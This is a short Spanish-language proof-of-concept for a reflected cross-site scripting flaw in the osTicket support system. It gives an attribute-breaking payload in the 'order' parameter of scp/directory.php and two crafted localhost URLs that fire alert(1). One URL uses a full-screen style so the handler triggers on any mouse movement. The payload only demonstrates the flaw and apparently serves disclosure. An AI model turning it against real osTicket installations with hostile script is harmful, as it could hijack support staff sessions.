
Exploit de prueba de concepto para XSS reflejado en el sistema de tickets de soporte osTicket mediante un parámetro order manipulado, demostrando la vulnerabilidad de secuencias de comandos entre sitios.
XSS reflejado:
Payload: " onmouseover="alert(1)
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)&sort=name